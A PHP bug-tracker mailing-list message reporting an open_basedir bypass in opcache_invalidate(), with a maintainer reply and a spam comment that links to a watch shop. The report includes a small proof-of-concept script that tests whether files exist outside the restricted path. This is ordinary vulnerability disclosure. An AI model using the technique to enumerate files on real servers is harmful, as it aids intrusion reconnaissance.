Bug #81230 [Com]: open_basedir bypass through opcache_invalidate()

From: Date: Tue, 16 Jan 2024 21:20:24 +0000
Subject: Bug #81230 [Com]: open_basedir bypass through opcache_invalidate()
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-246275@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=81230&edit=1 ID: 81230 Comment by: wed4fgd_ffg1 at gmail dot com Reported by: jeffbencteux at gmail dot com Summary: open_basedir bypass through opcache_invalidate() Status: Open Type: Bug Package: opcache Operating System: Debian 10 PHP Version: 8.0.8 Block user comment: N Private report: N New Comment: Nice solution...! https://vintagewatches.pk?Rado-Watches-Pakistan-github.com Previous Comments: ------------------------------------------------------------------------ [2021-07-12 15:35:27] cmb@php.net open_basedir bypasses are not considered to be security issues; cf. <https://externals.io/message/105606> and <https://externals.io/message/115406>. ------------------------------------------------------------------------ [2021-07-07 18:50:19] jeffbencteux at gmail dot com Description: ------------ Similar to bug #81131. It is possible to test for files and directories existence by using the $filename parameter of the opcache_invalidate() PHP function, thus bypassing open_basedir restriction. A potential attacker could enumerate files with the help of a dictionary. The root cause seems to be that this function does not enforce checks for open_basedir restrictions. Test script: --------------- <?php /* Assuming: * web root in /var/www/html/ * php.ini with open_basedir = /var/www/html/restricted mkdir /var/www/html/restricted echo "test" > /var/www/html/test.txt The current file is located in /var/www/html/restricted/test.php */ echo opcache_invalidate("../test.txt"); ?> Expected result: ---------------- Warning: opcache_invalidate(): open_basedir restriction in effect. File(/var/www/html/test.txt) is not within the allowed path(s): (/var/www/html/restricted) in /var/www/html/restricted/test.php on line 14 Actual result: -------------- 1 ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=81230&edit=1

« previous php.bugs (#246275) next »